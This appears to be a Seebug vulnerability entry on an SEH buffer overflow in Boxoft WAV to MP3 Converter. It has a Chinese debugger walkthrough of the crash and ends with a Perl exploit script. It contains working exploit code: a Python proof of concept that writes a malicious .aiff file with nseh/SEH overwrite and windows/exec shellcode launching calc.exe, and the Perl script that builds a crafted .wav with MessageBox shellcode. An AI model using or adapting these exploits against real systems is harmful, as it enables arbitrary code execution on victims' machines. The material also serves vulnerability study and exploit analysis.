Boxoft WAV to MP3 Converter - convert 特性缓冲区溢出

2015-09-06T00:00:00
ID SSV:89318
Type seebug
Reporter bilibili
Modified 2015-09-06T00:00:00

Description

首先拿到poc,先看看,明显的溢出,利用的是SEH的结构 ```

!/usr/bin/python

using=utf-8

f = open("malicious.aiff", "w") f.write("A"*4132) f.write("\xeb\x06\x90\x90")#nseh
f.write("\xa4\x43\x40\x00")#seh

Shellcode:

windows/exec - 277 bytes

CMD=calc.exe

f.write("\x90"20) f.write("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1" "\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63" "\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1" "\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96" "\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a" "\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa" "\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde" "\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc" "\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36" "\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6" "\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72" "\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc" "\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2" "\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1" "\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80" "\xc4\xd9") f.write("\x90"20) f.close() `` 载入OD,然后命令执行Bpx CreateFileW`,因为肯定会读取文件,所以直接在调用下断点就好了,然后重新载入F9运行起来,添加用poc生成的文件,点击play,会发现断下来了

然后就F8单步慢慢走,发现走完这句就会执行shellcode,那么这个函数肯定有问题了,下个断点做标记,F7跟进去

继续F8单步,然而发现进入了一个循环,来看看未开始循环时部分栈的布局 0012EB0C 0012EB98 0012EB10 00000004 0012EB14 00000000 0012EB18 7C80189C kernel32.7C80189C 0012EB1C 00000004 0012EB20 0012EB98 0012EB24 000001F0 0012EB28 004688F4 wavtomp3.004688F4 0012EB2C 0012EB40 0012EB30 00000000 0012EB34 00000004 然后来看看循环十遍后部分栈的布局 0012EB0C 769ACFFB 返回到 ole32.769ACFFB 来自 ntdll.RtlAllocateHeap 0012EB10 00160000 0012EB14 00000000 0012EB18 41414141 0012EB1C 41414141 0012EB20 41414141 0012EB24 76AB7041 ole32.76AB7041 0012EB28 00B1AEC0 0012EB2C 00000042 0012EB30 0012EB44 UNICODE "E" 0012EB34 770F4B6A 返回到 oleaut32.770F4B6A 来自 oleaut32.770F4AE0 发现了没?这里就是溢出的原因,执行完这个call就会写入一个\x41,所以既然都到这里了,那就跟进这个call 004BA8C7 |. FF55 0C |call [arg.2] ; wavtomp3.004B7EDD 整个函数 004209E0 . 8B40 04 mov eax,dword ptr ds:[eax+0x4] 004209E3 . E8 D8A8FEFF call wavtomp3.0040B2C0 004209E8 . 83F8 FF cmp eax,-0x1 004209EB . 75 02 jnz short wavtomp3.004209EF 004209ED . 33C0 xor eax,eax 004209EF > C3 retn 再F7跟进这一句 004209E3 . E8 D8A8FEFF call wavtomp3.0040B2C0 整个函数 0040B2C0 /$ 53 push ebx 0040B2C1 |. 56 push esi 0040B2C2 |. 57 push edi 0040B2C3 |. 51 push ecx 0040B2C4 |. 8BF9 mov edi,ecx 0040B2C6 |. 8BF2 mov esi,edx 0040B2C8 |. 8BD8 mov ebx,eax 0040B2CA |. 6A 00 push 0x0 ; /pOverlapped = NULL 0040B2CC |. 8D4424 04 lea eax,dword ptr ss:[esp+0x4] ; | 0040B2D0 |. 50 push eax ; |pBytesRead = 000001F0 0040B2D1 |. 57 push edi ; |BytesToRead = 0x0 0040B2D2 |. 56 push esi ; |Buffer = 00000005 0040B2D3 |. 53 push ebx ; |hFile = 00B1AEC0 0040B2D4 |. E8 3FB8FFFF call <jmp.&kernel32.ReadFile>;\ReadFile 0040B2D9 |. 85C0 test eax,eax 0040B2DB |. 75 07 jnz short wavtomp3.0040B2E4 0040B2DD |. C70424 FFFFFFFF mov dword ptr ss:[esp],-0x1 0040B2E4 |> 8B0424 mov eax,dword ptr ss:[esp];wavtomp3.004209E8 0040B2E7 |. 5A pop edx ; wavtomp3.004209E8 0040B2E8 |. 5F pop edi ; wavtomp3.004209E8 0040B2E9 |. 5E pop esi ; wavtomp3.004209E8 0040B2EA |. 5B pop ebx ; wavtomp3.004209E8 0040B2EB \. C3 retn 你说你读取都不看看限制条件吗?完全没法忍啊!!!!!! 如果有同学想直观感受是如何溢出的,这样,在这句下断 004BA8C7 |. FF55 0C |call [arg.2] ; wavtomp3.004209E0 然后在数据区Ctrl+G,跳到0x0012EB98,然后一直按住F9,就会感受到\x41在疯狂的填充着,这是飞一样的感觉,不过4000+个A也是蛮多的

好了那这里就不贪玩手动走完循环啦,毕竟年纪大了,直接来到RETN,可以看到,整个的shellcode已经布置好了

结合poc里面的代码,来分析一下,整个填充的结构为 填充+nseh+seh+nop+shellcode Nseh:这里使用常用的"\xeb\x06\x90\x90",汇编就是jmp 06 nop nop Seh:指向的是一个执行pop pop retn的地址 为什么SEH的指令要这样写? 这是当前寄存器的布局 EAX 00000000 ECX 00001137 EDX 00001137 EBX 41414141 ESP 0012FBB8 EBP 41414141 ESI 41414141 EDI 41414141 EIP 004BADD0 wavtomp3.004BADD0 C 0 ES 0023 32位 0(FFFFFFFF) P 0 CS 001B 32位 0(FFFFFFFF) A 1 SS 0023 32位 0(FFFFFFFF) Z 0 DS 0023 32位 0(FFFFFFFF) S 0 FS 003B 32位 7FFDD000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00200212 (NO,NB,NE,A,NS,PO,GE,G) ST0 empty -??? FFFF 00D2D2D4 2AFCFCFE ST1 empty -??? FFFF 00000000 2A2A2A2A ST2 empty -??? FFFF 00000051 00510051 ST3 empty -??? FFFF 0000005D 005D005D ST4 empty -NAN FFFF A1FEFEFF ADFEFEFF ST5 empty -??? FFFF 0000005D 005D005E ST6 empty 1.0000000000000000000 ST7 empty 1.0000000000000000000 3 2 1 0 E S P U O Z D I FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 0 (EQ) FCW 1372 Prec NEAR,64 掩码 1 1 0 0 1 0 然后看ESP的值指向的地址, retn到这地方妥妥的触发异常啊 0012FBB8 41414141 0012FBBC 909006EB 指向下一个 SEH 记录的指针 0012FBC0 004043A4 SE处理程序 跳到我们伪造的SEH地址去看看先,顺便下个断点

下好了断点然后F9欢快的跑起来,这就是pop/pop/retn来看看这段代码作用 ``` 004043A4 |. 68 64504C00 push wavtomp3.004C5064 ; |Title = "Error" 004043A9 |. 68 6C504C00 push wavtomp3.004C506C ; |Text = "Runtime error at 00000000" 004043AE |. 6A 00 push 0x0 ; |hOwner = NULL 004043B0 |. E8 33CFFFFF call <jmp.&user32.MessageBoxA> ; \MessageBoxA 004043B5 |> 5A pop edx ; ntdll.7C9232BC 004043B6 . C3 retn

执行到`call Messagebox`前,栈的布局 0012F7E0 00000000 |hOwner = NULL 0012F7E4 004C506C |Text = "Runtime error at 00000000" 0012F7E8 004C5064 |Title = "Error" 0012F7EC 7C9232A8 \Style = 0x8|MB_ICONQUESTION|MB_DEFBUTTON3|3000|7C920080 0012F7F0 0012F8D4 0012F7F4 0012FBBC 0012F7F8 0012F8F0 0012F7FC 0012F8A8 ASCII "AAAAAAAA" 0012F800 0012FBBC 指向下一个 SEH 记录的指针 0012F804 7C9232BC SE处理程序 0012F808 0012FBBC 0012F80C /0012F8BC 0012F810 |7C92327A 返回到 ntdll.7C92327A 来自 ntdll.7C923282 执行完call Messagebox,因为Messagebox需要四个参数,然而只push进去3个,pop的时候会弹出去4个参数 所以现在栈的布局 0012F7F0 0012F8D4 0012F7F4 0012FBBC 0012F7F8 0012F8F0 0012F7FC 0012F8A8 ASCII "AAAAAAAA" 0012F800 0012FBBC 指向下一个 SEH 记录的指针 0012F804 7C9232BC SE处理程序 0012F808 0012FBBC 0012F80C /0012F8BC 0012F810 |7C92327A 返回到 ntdll.7C92327A 来自 ntdll.7C923282 然后执行`pop edx`,又弹出去一个 0012F7F4 0012FBBC 0012F7F8 0012F8F0 0012F7FC 0012F8A8 ASCII "AAAAAAAA" 0012F800 0012FBBC 指向下一个 SEH 记录的指针 0012F804 7C9232BC SE处理程序 0012F808 0012FBBC 0012F80C /0012F8BC 0012F810 |7C92327A 返回到 ntdll.7C92327A 来自 ntdll.7C923282 `` 到了retn的时候,现在的esp的值为0x0012F7F4,而0x0012F7F4处的值为0x0012FBBC` 也就是会返回我们伪造的SEH地址,单步retn可以看到到了nseh的代码段

然后最终的运行效果就是一个计算器

                                        
                                            
                                                #Exploit Title: Boxoft wav to mp3 converter SEH bypass technique tested on Win7x64   
# Date: 8-31-2015
# Software Link: http://www.boxoft.com/wav-to-mp3/
# Exploit Author: Robbie Corley
# Contact: c0d3rc0rl3y@gmail.com
# Website: 
# Target: Windows 7 Enterprise x64
# CVE: 
# Category: Local Exploit
#
# Description:
# A buffer overflow was found after constructing a .wav payload over 4000 characters and attempting to convert the payload to a .mp3 file

my $buff = "\x41" x 4132;
#my $nseh = "\x42" x 4;
#my $seh = "\x43" x 4;
my $endofbuff   = "\x41" x 5860;


$nseh = "\xeb\x06\x90\x90";  # jump to shellcode
$seh = pack('V',0x0040144c); # pop pop retn

#MessageBox Shellc0de 
#https://www.exploit-db.com/exploits/28996/

my $shellcode =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74".
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe".
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";

#$nops = "\x90" x 20; 

open(myfile,'&gt;crash3r.wav');

print myfile $buff.$nseh.$seh.$shellcode.$endofbuff;
close (myfile);